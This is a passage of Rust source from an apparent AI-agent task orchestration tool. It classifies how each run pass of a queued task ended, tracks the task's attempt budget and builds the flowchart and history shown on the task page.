6318    })
6319    .await
6320}
6321
6322/// One attempt in a task's history, as the task page lists it.
6323#[derive(Debug, Serialize)]
6324struct TaskRunView {
6325    activity: Option<String>,
6326    /// 1-based position in [`Task::runs`].
6327    n: usize,
6328    id: String,
6329    short: String,
6330    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
6331    kind: &'static str,
6332    /// The run's own status string; `None` when its record cannot be read.
6333    status: Option<&'static str>,
6334    /// Whether this build could read the run's record. Counted, never hidden.
6335    readable: bool,
6336    /// A verdict from a collapsed panel is provisional, never a decision.
6337    provisional: bool,
6338    /// What kind of attempt this was, in one line.
6339    description: String,
6340    /// How it ended and why the task moved on (or what it is doing now).
6341    outcome: String,
6342    created_at: Option<Timestamp>,
6343    pr: Option<String>,
6344    /// Why this pass ended, classified once; the flowchart is built from it.
6345    exit: RunExit,
6346    /// What the pass did to the task's attempt budget.
6347    attempt: AttemptCost,
6348    /// Edge wording for leaving this entry; names the recorded cause when
6349    /// there is one.
6350    exit_label: String,
6351    /// The position of a later entry for the same run: this entry is an
6352    /// earlier pass of it.
6353    later_pass: Option<usize>,
6354    /// Which pass over the run this entry is (1-based) and how many entries
6355    /// the task lists for the run. Counted from the list, so known even for
6356    /// a legacy record.
6357    pass_n: usize,
6358    passes_of_run: usize,
6359    /// What the run recorded about this pass; `None` for a record from before
6360    /// passes were kept, whose cause stays unknown.
6361    pass: Option<PassView>,
6362    /// The branch a review-only run reopened.
6363    branch: Option<String>,
6364    /// The badge word when it differs from `status` (`stale` / `superseded`);
6365    /// filled by the task route, which can see liveness and later attempts.
6366    badge: Option<String>,
6367}
6368
6369/// One recorded pass over a run, for the wire.
6370#[derive(Debug, Clone, PartialEq, Serialize)]
6371struct PassView {
6372    index: usize,
6373    resumed: bool,
6374    started_at: Timestamp,
6375    ended_at: Option<Timestamp>,
6376    /// `open`, `parked` or `unrecorded`.
6377    end: &'static str,
6378    cause: Option<crate::run::ParkCause>,
6379    /// One line: why it stopped, or that nobody recorded why.
6380    label: String,
6381    /// What the task recorded for this pass; `None` when it was not settled
6382    /// (or settled by a build that kept no record).
6383    cost: Option<crate::queue::PassCost>,
6384}
6385
6386impl PassView {
6387    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6388        use crate::run::PassEnd;
6389        let (end, cause, label) = match &p.end {
6390            None => ("open", None, "still open".to_owned()),
6391            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6392            Some(PassEnd::Unrecorded) => (
6393                "unrecorded",
6394                None,
6395                "stopped without recording why (a crash, a kill or a restart; not known)"
6396                    .to_owned(),
6397            ),
6398        };
6399        Self {
6400            index: p.index,
6401            resumed: p.resumed,
6402            started_at: p.started_at,
6403            ended_at: p.ended_at,
6404            end,
6405            cause,
6406            label,
6407            cost: settled.map(|t| t.cost),
6408        }
6409    }
6410}
6411
6412/// How one pass over a run ended, as far as the task's life is concerned.
6413#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6414#[serde(rename_all = "snake_case")]
6415enum RunExit {
6416    Unreadable,
6417    /// An earlier pass of a run id that appears again: it stopped short.
6418    Interrupted,
6419    Parked,
6420    MachineBlocked,
6421    QuotaStall,
6422    /// Stalled on a resumed pass with quota losses on record: they may be
6423    /// left over from an earlier pass, so whether this one was refunded is
6424    /// not knowable.
6425    ResumedQuotaStall,
6426    Merged,
6427    Ready,
6428    Superseded,
6429    /// The change was already on the base under other commits: the task
6430    /// finished without this run landing anything.
6431    AlreadyInBase,
6432    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6433    Stalled,
6434    /// Blocked / no-op with a pull request left open: held for a person.
6435    HeldWithPr,
6436    NoopHeld,
6437    /// Blocked or failed: the attempt is spent and the task retries or holds.
6438    Spent,
6439    InProgress,
6440}
6441
6442#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6443#[serde(rename_all = "snake_case")]
6444enum AttemptCost {
6445    Spent,
6446    Refunded,
6447    None,
6448    /// Cannot be told from the records that remain.
6449    Unknown,
6450}
6451
6452impl RunExit {
6453    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6454        let Some(s) = s else {
6455            return Self::Unreadable;
6456        };
6457        let status = s.status;
6458        if resumed_later {
6459            Self::Interrupted
6460        } else if s.parked {
6461            Self::Parked
6462        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6463            Self::MachineBlocked
6464        } else if !status.done() {
6465            Self::InProgress
6466        } else if matches!(status, RunStatus::Merged) {
6467            Self::Merged
6468        } else if matches!(status, RunStatus::Ready) {
6469            Self::Ready
6470        } else if matches!(status, RunStatus::Superseded) {
6471            Self::Superseded
6472        } else if matches!(status, RunStatus::AlreadyInBase) {
6473            Self::AlreadyInBase
6474        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6475            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6476        {
6477            if resumed {
6478                Self::ResumedQuotaStall
6479            } else {
6480                Self::QuotaStall
6481            }
6482        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6483            Self::HeldWithPr
6484        } else if matches!(status, RunStatus::VerifiedNoop) {
6485            Self::NoopHeld
6486        } else if matches!(status, RunStatus::Stalled) {
6487            Self::Stalled
6488        } else {
6489            Self::Spent
6490        }
6491    }
6492
6493    fn cost(self) -> AttemptCost {
6494        match self {
6495            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6496            Self::Merged
6497            | Self::Ready
6498            | Self::Stalled
6499            | Self::HeldWithPr
6500            | Self::NoopHeld
6501            | Self::Spent => AttemptCost::Spent,
6502            Self::InProgress => AttemptCost::None,
6503            Self::AlreadyInBase => AttemptCost::Refunded,
6504            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6505                AttemptCost::Unknown
6506            }
6507        }
6508    }
6509
6510    /// Short edge wording for leaving a run this way.
6511    fn edge_label(self, status: Option<&str>) -> String {
6512        match self {
6513            Self::Unreadable => "record unreadable".to_owned(),
6514            Self::Interrupted => "interrupted before the run finished".to_owned(),
6515            Self::Parked => "parked, attempt refunded".to_owned(),
6516            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6517            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6518            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6519            Self::Merged => "merged".to_owned(),
6520            Self::Ready => "ready, not merged".to_owned(),
6521            Self::Superseded => "superseded by a later attempt".to_owned(),
6522            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6523            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6524            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6525            Self::NoopHeld => "verified no-op".to_owned(),
6526            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6527            Self::InProgress => "in progress".to_owned(),
6528        }
6529    }
6530
6531    /// Does a task in `end` follow from a run that ended this way? When not,
6532    /// somebody closed or held the task by hand.
6533    fn explains(self, end: TaskStatus) -> bool {
6534        match self {
6535            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6536            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6537            Self::Unreadable | Self::Superseded | Self::Ready => true,
6538            _ => end != TaskStatus::Done,
6539        }
6540    }
6541}
6542
6543/// `GET /api/queue/{id}` - one task with every attempt it went through.
6544#[derive(Debug, Serialize)]
6545struct TaskDetailView {
6546    #[serde(flatten)]
6547    task: TaskView,
6548    /// Task override, or the default daemon budget when inherited.
6549    /// A separate loop's command-line limit is not visible from here.
6550    max_attempts: usize,
6551    history: Vec<TaskRunView>,
6552    /// Entries in `history`: passes over runs, not distinct runs and not
6553    /// attempts consumed (`task.attempts`).
6554    passes_total: usize,
6555    /// Distinct runs those passes belong to.
6556    runs_distinct: usize,
6557    flow: FlowView,
6558    /// Set for a follow-up task; see [`followup_origin`].
6559    followup_origin: Option<FollowUpOrigin>,
6560    /// How many entries of `history` could not be read.
6561    runs_unreadable: usize,
6562    /// Why the attempt count can be lower than the number of runs.
6563    attempts_note: &'static str,
6564}
6565
6566const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6567and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6568on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6569the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6570
6571/// The branch a review-only run reopened, read off the instruction
6572/// `Runner::open_review` writes.
6573fn review_branch_of(instruction: &str) -> Option<&str> {
6574    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6575    rest.split('`').next().filter(|b| !b.is_empty())
6576}
6577
6578/// Where an entry sits in a task's run list.
6579#[derive(Default)]
6580struct RunSlot<'a> {
6581    /// 1-based position.
6582    n: usize,
6583    /// The same run id appeared earlier: this pass resumed it.
6584    resumed: bool,
6585    /// Position of a later pass over the same run id, if any.
6586    resumed_later: Option<usize>,
6587    /// The previous distinct run and how it ended, for the retry note.
6588    prior: Option<(&'a str, RunStatus)>,
6589    last: bool,
6590    /// This pass as the run recorded it, when it did.
6591    pass: Option<&'a crate::run::RunPass>,
6592    /// What the task recorded when it settled this pass.
6593    settled: Option<&'a crate::queue::TaskPass>,
6594    /// 1-based position among the task's entries for this run, and their count.
6595    pass_n: usize,
6596    passes_of_run: usize,
6597}
6598
6599/// Describe one entry of a task's run list. Pure: everything it needs is on
6600/// the run and the task, so it is asserted without a server.
6601fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6602    let RunSlot {
6603        n,
6604        resumed,
6605        resumed_later,
6606        prior,
6607        last,
6608        pass,
6609        settled,
6610        pass_n,
6611        passes_of_run,
6612    } = at;
6613    let short = run::short_of(id).to_owned();
6614    let Some(s) = state else {
6615        return TaskRunView {
6616            activity: None,
6617            n,
6618            id: id.to_owned(),
6619            short,
6620            kind: "unknown",
6621            status: None,
6622            readable: false,
6623            provisional: false,
6624            description:
6625                "This run's record could not be read by this build (written by a different \
6626                          magi, or removed), so what kind of attempt it was is unknown."
6627                    .to_owned(),
6628            outcome: String::new(),
6629            created_at: None,
6630            pr: None,
6631            exit: RunExit::Unreadable,
6632            attempt: AttemptCost::Unknown,
6633            exit_label: RunExit::Unreadable.edge_label(None),
6634            later_pass: resumed_later,
6635            pass_n,
6636            passes_of_run,
6637            pass: None,
6638            branch: None,
6639            badge: None,
6640        };
6641    };
6642    let branch = review_branch_of(&s.instruction);
6643    let kind = if resumed {
6644        "resume"
6645    } else if branch.is_some() {
6646        "review"
6647    } else if task.solo || s.candidates.len() == 1 {
6648        "solo"
6649    } else {
6650        "competition"
6651    };
6652    let mut description = match kind {
6653        "resume" => {
6654            format!("Resumed run {short}: the same run carried on instead of competing again.")
6655        }
6656        "review" => format!(
6657            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6658            branch.unwrap_or_default()
6659        ),
6660        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6661        _ => format!(
6662            "Competition: {} candidates judged blind.",
6663            s.candidates.len().max(1)
6664        ),
6665    };
6666    if !resumed && let Some((p, st)) = prior {
6667        description.push_str(&format!(
6668            " A retry: run {p} before it ended {}.",
6669            st.display_label()
6670        ));
6671    }
6672
6673    let status = s.status;
6674    let provisional = matches!(status, RunStatus::Stalled)
6675        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6676    let head = if resumed_later.is_some() {
6677        String::new()
6678    } else {
6679        match status {
6680            RunStatus::Merged => "Merged.".to_owned(),
6681            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6682            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6683            RunStatus::AlreadyInBase => {
6684                "Already in the base: this change landed under other commits, nothing was left to land."
6685                    .to_owned()
6686            }
6687            RunStatus::Stalled => {
6688                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6689                    .to_owned()
6690            }
6691            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6692            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6693            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6694            RunStatus::VerifiedNoop => {
6695                "Verified no-op: the candidates found nothing to change.".to_owned()
6696            }
6697            other if other.done() => format!("Ended {}.", other.display_label()),
6698            other => format!("In progress ({}).", other.display_label()),
6699        }
6700    };
6701    let view = pass.map(|p| PassView::of(p, settled));
6702    let recorded_end = view
6703        .as_ref()
6704        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6705    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6706        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6707        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6708        None => "whether its attempt was handed back was not recorded",
6709    };
6710    let pass_note = if passes_of_run > 1 {
6711        format!(
6712            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6713        )
6714    } else {
6715        String::new()
6716    };
6717    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6718        // The run recorded this pass's end when it happened.
6719        let cause = match v.end {
6720            "parked" => format!("It was stopped on purpose: {}.", v.label),
6721            _ => format!("It {}.", v.label),
6722        };
6723        format!(
6724            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6725            capitalise(cost_words)
6726        )
6727    } else if let Some(k) = resumed_later {
6728        // A run is only picked up again while it is unfinished, so an earlier
6729        // pass of a repeated id stopped short; the record keeps only the run's
6730        // latest status, which is left to the pass that carried it on.
6731        // Only the latest state is recorded: `parked` is cleared on resume
6732        // and `quota` accumulates across passes, so neither says why *this*
6733        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6734        let cause = if s.quota.is_empty() {
6735            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6736        } else {
6737            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6738        };
6739        format!(
6740            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6741        )
6742    } else if s.parked {
6743        match recorded_end.and_then(|v| v.cause.as_ref()) {
6744            Some(cause) => format!(
6745                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6746                cause.label(),
6747                cost_words
6748            ),
6749            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6750                .to_owned(),
6751        }
6752    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6753        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6754    } else if !status.done()
6755        || matches!(
6756            status,
6757            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6758        )
6759    {
6760        String::new()
6761    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6762        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6763    {
6764        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6765            .to_owned()
6766    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6767        " It left a pull request open, so the task was held for a person rather than retried."
6768            .to_owned()
6769    } else if matches!(status, RunStatus::VerifiedNoop) {
6770        " Held for a person to check the claim.".to_owned()
6771    } else if last {
6772        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6773    } else {
6774        " It spent an attempt, and the task moved on to the next run.".to_owned()
6775    };
6776    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6777    let mut attempt = exit.cost();
6778    let mut exit_label = None;
6779    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6780        let spent = match v.cost {
6781            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6782            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6783            None if resumed_later.is_some() => ", refund not recorded",
6784            None => ", attempt refunded",
6785        };
6786        attempt = match v.cost {
6787            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6788            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6789            None if resumed_later.is_some() => AttemptCost::Unknown,
6790            None => attempt,
6791        };
6792        if v.end == "parked" {
6793            exit = RunExit::Parked;
6794            exit_label = Some(match v.cause.as_ref() {
6795                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6796                    format!("parked for {}{spent}", c.label())
6797                }
6798                Some(c) => format!("parked ({}){spent}", c.label()),
6799                None => format!("parked{spent}"),
6800            });
6801        } else {
6802            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6803        }
6804    }
6805    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6806    TaskRunView {
6807        activity: None,
6808        n,
6809        id: id.to_owned(),
6810        short,
6811        kind,
6812        status: Some(status.as_str()),
6813        readable: true,
6814        provisional,
6815        description,
6816        outcome: format!("{head}{why}"),
6817        created_at: Some(s.created_at),
6818        pr: s.pr.as_ref().map(|p| p.url.clone()),
6819        exit,
6820        attempt,
6821        exit_label,
6822        later_pass: resumed_later,
6823        pass_n,
6824        passes_of_run,
6825        pass: view,
6826        branch: branch.map(str::to_owned),
6827        badge: None,
6828    }
6829}
6830
6831fn capitalise(s: &str) -> String {
6832    let mut c = s.chars();
6833    c.next().map_or_else(String::new, |f| {
6834        f.to_uppercase().collect::<String>() + c.as_str()
6835    })
6836}
6837
6838/// One box of the task's flowchart.
6839#[derive(Debug, Serialize, PartialEq)]
6840struct FlowNode {
6841    /// Unique by position: a resumed run id appears once per pass.
6842    key: String,
6843    /// `chat`, `followup`, `start`, `run` or `end`.
6844    kind: &'static str,
6845    label: String,
6846    /// Run status (or the task's, for `end`); `None` when it is not a fact
6847    /// about this box (unreadable, or a pass the run later resumed from).
6848    status: Option<&'static str>,
6849    /// Whose status `status` is, so the client picks the right colour table:
6850    /// `task` (the `followup` parent and `end`) or `run`.
6851    status_of: &'static str,
6852    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6853    note: Option<&'static str>,
6854    run_kind: Option<&'static str>,
6855    detail: Option<String>,
6856    /// A readable run with a real verdict; a stall never is.
6857    decided: bool,
6858    readable: bool,
6859    href: Option<String>,
6860    /// Overrides `status` as the badge word (`stale` / `superseded`).
6861    badge: Option<String>,
6862    /// Start of this entry, never the run's latest update or pass settlement.
6863    started_at: Option<Timestamp>,
6864    /// Context links (chat / follow-up) do not represent execution entries.
6865    time_expected: bool,
6866}
6867
6868#[derive(Debug, Serialize, PartialEq)]
6869struct FlowEdge {
6870    from: String,
6871    to: String,
6872    label: String,
6873    attempt: AttemptCost,
6874}
6875
6876#[derive(Debug, Serialize, PartialEq)]
6877struct FlowView {
6878    nodes: Vec<FlowNode>,
6879    edges: Vec<FlowEdge>,
6880    /// Attempts the task has counted since it was last released.
6881    attempts: usize,
6882    max_attempts: usize,
6883    /// Entries in the run list (passes), and how many distinct runs they are.
6884    /// Neither is the number of attempts consumed.
6885    passes: usize,
6886    runs: usize,
6887}
6888
6889/// Turn a task and its described runs into the flowchart's boxes and arrows.
6890/// Pure: the page only draws what this returns.
6891///
6892/// Preserve filing provenance while also linking the task's companion chat.
6893fn task_flow(
6894    task: &Task,
6895    history: &[TaskRunView],
6896    max_attempts: usize,
6897    origin: Option<&FollowUpOrigin>,
6898) -> FlowView {
6899    let max_attempts = task.effective_attempt_limit(max_attempts);
6900    let node = |key: &str, kind, label: String| FlowNode {
6901        key: key.to_owned(),
6902        kind,
6903        label,
6904        status: None,
6905        status_of: "run",
6906        note: None,
6907        run_kind: None,
6908        detail: None,
6909        decided: false,
6910        readable: true,
6911        href: None,
6912        badge: None,
6913        started_at: None,
6914        time_expected: matches!(kind, "start" | "run" | "end"),
6915    };
6916    let mut nodes = Vec::new();
6917    let mut edges: Vec<FlowEdge> = Vec::new();
6918    let filed = task.filed_by_chat();
6919    let companion = task
6920        .chat
6921        .as_deref()
6922        .filter(|_| task.chat_reservation != crate::queue::ChatReservation::Pending);
6923    if let Some(id) = filed.or(companion) {
6924        let label = if filed.is_some() {
6925            "Chat"
6926        } else {
6927            "Companion chat"
6928        };
6929        let mut n = node(
6930            "chat",
6931            "chat",
6932            format!("{label} {}", crate::queue::short(id)),
6933        );
6934        n.href = Some(id_links::page_href("chat", id));
6935        nodes.push(n);
6936        edges.push(FlowEdge {
6937            from: "chat".to_owned(),
6938            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6939            label: if filed.is_some() {
6940                "queued from chat"
6941            } else {
6942                "linked chat"
6943            }
6944            .to_owned(),
6945            attempt: AttemptCost::None,
6946        });
6947    }
6948    if let Some(o) = origin {
6949        let mut n = match &o.parent {
6950            Some(p) => {
6951                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6952                n.status = Some(p.status);
6953                n.status_of = "task";
6954                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6955                n.href = Some(p.href.clone());
6956                n
6957            }
6958            None => {
6959                let mut n = node(
6960                    "origin",
6961                    "followup",
6962                    format!("Follow-up of run {}", o.run.short),
6963                );
6964                n.detail = Some("merged run".to_owned());
6965                n.status = o.run.status;
6966                n.href = o.run.href.clone();
6967                if o.run.href.is_none() {
6968                    n.readable = false;
6969                    n.note = Some("unreadable");
6970                }
6971                n
6972            }
6973        };
6974        n.decided = true;
6975        let from = n.key.clone();
6976        nodes.push(n);
6977        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6978        let more = o.findings.len().saturating_sub(shown.len());
6979        let label = match (shown.is_empty(), more) {
6980            (true, _) => "open findings".to_owned(),
6981            (false, 0) => format!("open findings {}", shown.join(", ")),
6982            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6983        };
6984        edges.push(FlowEdge {
6985            from,
6986            to: "start".to_owned(),
6987            label,
6988            attempt: AttemptCost::None,
6989        });
6990    }
6991    let mut start = node("start", "start", "Task queued".to_owned());
6992    start.started_at = Some(task.created_at);
6993    nodes.push(start);
6994    let mut prev = "start".to_owned();
6995    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6996    for (i, h) in history.iter().enumerate() {
6997        let key = format!("run-{}", h.n);
6998        let mut n = node(&key, "run", format!("Run {}", h.short));
6999        // Creation marks only the first pass of legacy runs. A resumed pass
7000        // without a record must not inherit the original run's start time.
7001        n.started_at = h
7002            .readable
7003            .then(|| {
7004                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
7005                    h.created_at
7006                } else {
7007                    None
7008                })
7009            })
7010            .flatten();
7011        n.run_kind = Some(h.kind);
7012        n.readable = h.readable;
7013        n.href = Some(format!("#/runs/{}", h.id));
7014        n.decided = h.readable && !h.provisional;
7015        n.detail = h
7016            .branch
7017            .as_ref()
7018            .map(|b| format!("review-only run of branch {b}"));
7019        match h.exit {
7020            RunExit::Unreadable => n.note = Some("unreadable"),
7021            RunExit::Interrupted => n.note = Some("interrupted"),
7022            // An earlier pass the run recorded as parked: the status shown
7023            // would be the run's current one, not this pass's.
7024            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
7025            _ => {
7026                n.status = h.status;
7027                n.badge = h.badge.clone();
7028                if h.provisional {
7029                    n.note = Some("no verdict");
7030                }
7031            }
7032        }
7033        let into = match h.kind {
7034            "review" => Some(format!(
7035                "review-only run of branch {}",
7036                h.branch.as_deref().unwrap_or("?")
7037            )),
7038            "resume" => Some("resume the same run".to_owned()),
7039            _ if i > 0 => Some("retry".to_owned()),
7040            _ => None,
7041        };
7042        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
7043        let label = match (prev_exit, into) {
7044            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
7045            (Some((_, l, _)), None) => l,
7046            (None, Some(i)) => i,
7047            (None, None) => "claimed".to_owned(),
7048        };
7049        edges.push(FlowEdge {
7050            from: prev.clone(),
7051            to: key.clone(),
7052            label,
7053            attempt,
7054        });
7055        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
7056        prev = key;
7057        nodes.push(n);
7058    }
7059    let mut end = node("end", "end", task.status.as_str().to_owned());
7060    end.status = Some(task.status.as_str());
7061    end.status_of = "task";
7062    // Other task states do not persist their transition start. In particular,
7063    // blocked_at can change while the task remains blocked.
7064    if task.status == TaskStatus::Held {
7065        end.started_at = task.held_at;
7066    }
7067    nodes.push(end);
7068    let (label, attempt) = match prev_exit {
7069        None => (
7070            format!("no run yet \u{2192} {}", task.status.as_str()),
7071            AttemptCost::None,
7072        ),
7073        Some((e, l, cost)) if e.explains(task.status) => {
7074            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
7075        }
7076        Some((_, _, cost)) => (
7077            format!("closed by hand: task is {}", task.status.as_str()),
7078            cost,
7079        ),
7080    };
7081    edges.push(FlowEdge {
7082        from: prev,
7083        to: "end".to_owned(),
7084        label,
7085        attempt,
7086    });
7087    FlowView {
7088        nodes,
7089        edges,
7090        attempts: task.attempts,
7091        max_attempts,
7092        passes: history.len(),
7093        runs: distinct_runs(&task.runs),
7094    }
7095}
7096
7097/// How many different run ids a task's run list names.
7098fn distinct_runs(runs: &[String]) -> usize {
7099    let mut seen: Vec<&str> = Vec::new();
7100    for r in runs {
7101        if !seen.contains(&r.as_str()) {
7102            seen.push(r);
7103        }
7104    }
7105    seen.len()
7106}
7107
7108/// Describe recorded task passes, retaining unrecorded legacy list entries.
7109fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
7110    let mut slots = Vec::new();
7111    let mut seen = Vec::new();
7112    for run_id in &task.runs {
7113        if seen.contains(&run_id) {
7114            continue;
7115        }
7116        seen.push(run_id);
7117        let state = read(run_id);
7118        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
7119            s.passes
7120                .iter()
7121                .filter(|p| {
7122                    p.task_entry
7123                        || task
7124                            .passes
7125                            .iter()
7126                            .any(|t| t.run == *run_id && t.pass_index == p.index)
7127                })
7128                .cloned()
7129                .collect()
7130        });
7131        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
7132        let total = legacy_count.max(mine.len());
7133        let offset = total - mine.len();
7134        for k in 0..total {
7135            // Legacy repeated entries retain their original positions. When
7136            // ids are unique, recorded pass times recover the resume order.
7137            let position = task
7138                .runs
7139                .iter()
7140                .enumerate()
7141                .filter(|(_, r)| *r == run_id)
7142                .nth(k.min(legacy_count - 1))
7143                .unwrap()
7144                .0;
7145            slots.push((
7146                run_id,
7147                state.clone(),
7148                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
7149                position,
7150            ));
7151        }
7152    }
7153    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
7154        slots.sort_by_key(|(_, state, pass, _)| {
7155            pass.as_ref()
7156                .map(|p| p.started_at)
7157                .or_else(|| state.as_ref().map(|s| s.created_at))
7158                .map_or((true, task.created_at), |at| (false, at))
7159        });
7160    } else {
7161        slots.sort_by_key(|(_, _, _, position)| *position);
7162    }
7163    let mut history = Vec::with_capacity(slots.len());
7164    let mut seen: Vec<&str> = Vec::new();
7165    let mut prior: Option<(&str, RunStatus)> = None;
7166    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
7167        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
7168        let resumed = k > 0;
7169        seen.push(run_id);
7170        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
7171        let pass = pass.as_ref();
7172        let settled = pass.and_then(|p| {
7173            task.passes
7174                .iter()
7175                .find(|t| t.run == **run_id && t.pass_index == p.index)
7176        });
7177        history.push(task_run_view(
7178            run_id,
7179            state.as_ref(),
7180            RunSlot {
7181                n: i + 1,
7182                resumed,
7183                resumed_later: slots[i + 1..]
7184                    .iter()
7185                    .position(|(id, _, _, _)| id == run_id)
7186                    .map(|off| i + off + 2),
7187                prior,
7188                last: i + 1 == slots.len(),
7189                pass,
7190                settled,
7191                pass_n: k + 1,
7192                passes_of_run: total,
7193            },
7194            task,
7195        ));
7196        if let Some(s) = &state {
7197            prior = Some((run::short_of(run_id), s.status));
7198        }
7199    }
7200    history
7201}
7202
7203/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
7204/// An earlier pass of a resumed run keeps no badge (it has no status box).
7205fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
7206    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
7207        return;
7208    }
7209    let (_, claimed, _) = run_row_inputs(ui);
7210    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
7211    for h in history
7212        .iter_mut()
7213        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
7214    {
7215        let Ok(state) = read_run(&ui.runs, &h.id) else {
7216            continue;
7217        };
7218        if state.status.done() {
7219            continue;
7220        }
7221        let live = state.liveness_with(
7222            claimed.contains(&h.id),
7223            |p| probe.borrow_mut().status(p),
7224            |p| probe.borrow_mut().started_at(p),
7225        );
7226        let waiting = !ui.questions.open_for(&h.id).is_empty();
7227        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
7228        let display = run_display_status(&state, waiting, live);
7229        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
7230        if matches!(word.as_str(), "stale" | "superseded")
7231            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
7232        {
7233            h.badge = Some(word);
7234        }
7235    }
7236}
7237
7238async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
7239    blocking(move || {
7240        let id = resolve_task(&ui.queue, &id)?;
7241        let task = ui.queue.get(&id)?;
